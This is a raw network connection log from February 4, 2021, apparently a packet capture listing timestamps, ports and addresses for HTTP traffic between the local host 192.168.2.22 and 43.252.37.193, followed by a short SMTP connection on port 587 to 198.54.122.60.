Feb 4, 2021 09:55:54.403485060 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.403552055 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:54.403597116 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:54.600481987 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.600507975 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.600521088 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.600533009 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.600552082 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.600569010 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.600584984 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.600698948 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:54.600752115 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:54.600755930 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:54.600893974 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:54.797636032 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.797693968 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.797732115 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.797770023 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.797806978 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.797853947 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.797854900 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:54.797914028 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:54.797919035 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:54.797921896 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:54.797951937 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:54.797991991 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:54.995023966 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.995054007 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.995065928 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.995079994 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.995110989 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.995256901 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:54.995301008 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:54.995306015 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:55.191997051 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:55.192030907 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:55.192048073 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:55.192079067 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:55.192111015 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:55.192122936 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:55.192142963 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:55.192168951 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:55.192195892 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:55.388933897 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:55.388989925 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:55.389009953 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:55.389014959 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:55.389034986 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:55.389049053 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:55.389053106 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:55.389062881 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:55.389081001 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:55.389225006 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:55.389239073 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:55.389240980 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:55.586088896 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:55.586121082 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:55.586133957 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:55.586146116 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:55.586158037 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:55.586169958 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:55.586186886 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:55.586345911 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:55.783078909 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:55.783109903 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:55.783123016 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:55.783134937 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:55.783152103 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:55.783164978 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:55.783175945 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:55.783184052 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:55.783219099 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:55.783222914 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:55.783226013 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:55.783227921 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:55.783230066 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:55.783232927 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:55.980159998 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:55.980189085 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:55.980206013 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:55.980221987 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:55.980237961 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:55.980319977 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:55.980339050 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:55.980364084 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:55.980366945 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:56.177154064 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:56.177215099 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:56.177253962 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:56.177292109 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:56.177329063 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:56.177365065 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:56.177431107 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:56.177452087 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:56.374233007 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:56.374279976 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:56.374310017 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:56.374347925 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:56.374347925 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:56.374382019 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:56.374393940 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:56.374414921 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:56.374442101 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:56.374494076 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:56.571249962 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:56.571286917 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:56.571310043 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:56.571336031 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:56.571552038 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:56.571667910 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:56.571707010 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:56.571780920 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:56.571800947 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:56.768623114 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:56.768688917 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:56.768721104 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:56.768759012 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:56.768799067 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:56.768836975 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:56.768873930 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:56.768953085 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:56.769000053 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:56.769005060 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:56.772726059 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:56.772763968 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:56.967653990 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:56.967694044 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:56.967719078 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:56.967744112 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:56.967767954 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:56.967838049 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:56.967875957 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:56.967879057 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:56.967881918 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:56.967885017 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:56.971398115 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:56.971436977 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:56.971575022 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:56.971606970 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:57.164880037 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:57.164912939 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:57.164936066 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:57.165080070 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:57.168953896 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:57.169075012 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:57.363742113 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:57.363780975 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:57.363809109 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:57.363835096 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:57.363989115 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:57.364048004 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:57.364056110 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:57.364062071 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:57.560627937 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:57.560795069 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:57.561141968 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:57.561176062 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:57.561264038 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:57.561300993 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:57.758022070 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:57.758342981 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:57.758471966 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:57.758516073 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:57.758550882 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:57.758601904 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:57.758621931 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:57.758673906 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:57.956703901 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:57.956732988 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:57.956746101 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:57.956798077 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:57.956917048 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:57.959649086 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:58.155601978 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:58.155630112 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:58.155642986 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:58.155796051 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:58.158122063 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:58.158147097 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:58.158229113 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:58.353302002 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:58.353324890 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:58.353555918 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:58.355925083 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:58.355945110 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:58.356041908 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:58.550307989 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:58.550340891 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:58.550360918 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:58.550390005 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:58.550446987 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:58.550487995 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:58.553352118 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:58.553374052 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:58.553499937 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:58.748512030 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:58.748553038 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:58.748655081 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:58.748684883 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:58.749420881 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:58.749450922 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:58.749490023 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:58.749511003 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:58.751540899 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:58.751570940 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:58.751607895 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:58.751627922 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:58.946904898 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:58.946930885 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:58.947053909 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:58.947455883 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:58.947485924 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:58.947501898 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:58.947516918 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:58.949636936 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:58.949702024 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:58.949706078 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:58.949739933 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:59.144942999 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:59.144968033 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:59.145075083 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:59.145246029 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:59.145282984 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:59.145297050 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:59.145318985 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:59.147541046 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:59.147563934 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:59.147627115 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:59.341749907 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:59.341787100 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:59.341805935 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:59.341825008 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:59.341934919 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:59.341975927 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:59.344078064 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:59.344095945 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:59.344157934 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:59.540592909 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:59.540635109 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:59.540662050 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:59.540688038 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:59.540714979 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:59.540747881 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:59.540783882 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:59.540836096 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:59.540841103 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:59.542645931 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:59.542685032 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:59.542763948 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:59.542804003 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:59.737688065 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:59.737780094 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:59.737803936 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:59.737809896 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:59.737858057 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:59.737863064 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:59.737941980 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:59.737972021 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:59.738009930 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:59.738018036 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:59.739604950 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:59.739670038 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:59.739728928 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:59.739767075 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:59.934746981 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:59.934815884 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:59.934870005 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:59.935110092 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:59.935183048 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:59.935189962 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:59.936467886 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:59.936583042 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:56:00.131995916 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:56:00.132055044 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:56:00.132113934 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:56:00.132152081 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:56:00.132282019 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:56:00.132328987 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:56:00.133085012 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:56:00.133153915 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:56:00.133173943 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:56:00.133177042 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:56:00.329356909 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:56:00.329432011 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:56:00.329683065 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:56:00.329952955 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:56:00.329982996 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:56:00.330008030 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:56:00.330034971 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:56:00.330035925 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:56:00.330074072 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:56:00.330081940 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:56:00.529139042 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:56:00.529192924 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:56:00.529349089 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:56:00.529567957 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:56:00.529608965 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:56:00.529639959 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:56:00.529642105 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:56:00.529656887 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:56:00.529685974 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:56:00.529687881 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:56:00.529736996 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:56:00.729240894 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:56:00.729459047 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:56:00.729657888 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:56:00.729701996 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:56:00.729741096 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:56:00.729773045 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:56:00.729830027 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:56:00.729872942 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:56:00.729887962 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:56:00.729912043 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:56:00.729926109 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:56:00.729950905 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:56:00.729964972 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:56:00.730004072 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:56:00.927443027 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:56:00.927511930 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:56:00.927544117 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:56:00.927575111 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:56:00.927603960 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:56:00.927635908 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:56:00.927689075 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:56:00.927695990 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:56:00.927701950 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:56:00.927745104 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:56:01.126488924 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:56:01.126545906 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:56:01.126579046 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:56:01.126593113 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:56:01.126638889 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:56:01.126734018 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:56:01.665358067 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:56:36.445432901 CET	49166	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:36.637059927 CET	587	49166	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:36.637176991 CET	49166	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:36.829602957 CET	587	49166	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:36.830039024 CET	49166	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:37.021203995 CET	587	49166	198.54.122.60	192.168.2.22
